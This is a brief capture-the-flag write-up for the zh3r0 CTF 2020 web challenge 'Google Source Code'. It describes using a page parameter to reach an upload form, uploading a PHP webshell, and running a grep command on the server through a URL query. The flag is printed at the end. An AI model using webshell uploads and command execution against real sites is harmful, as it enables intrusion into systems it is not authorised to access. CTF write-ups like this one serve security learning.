> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/zh3r0-ctf/web/google-source-code.md).

# Google Source Code

Comment says `get the page`

`/?page=flag` gives us a link to a trailer for `upload`

`/?page=uploa`d gives us a link to upload a file

Upload a webshell:

\`[http://web.zh3r0.ml:7777/?page=easy-simple-php-webshell\&cmd=grep -ir flag \`\`](http://web.zh3r0.ml:7777/?page=easy-simple-php-webshell\&cmd=grep%20-ir%20flag%20%60%60)

## zh3r0{h3y\_d1d\_y0u\_upl04d\_php\_c0rr3ct1y???\_84651320}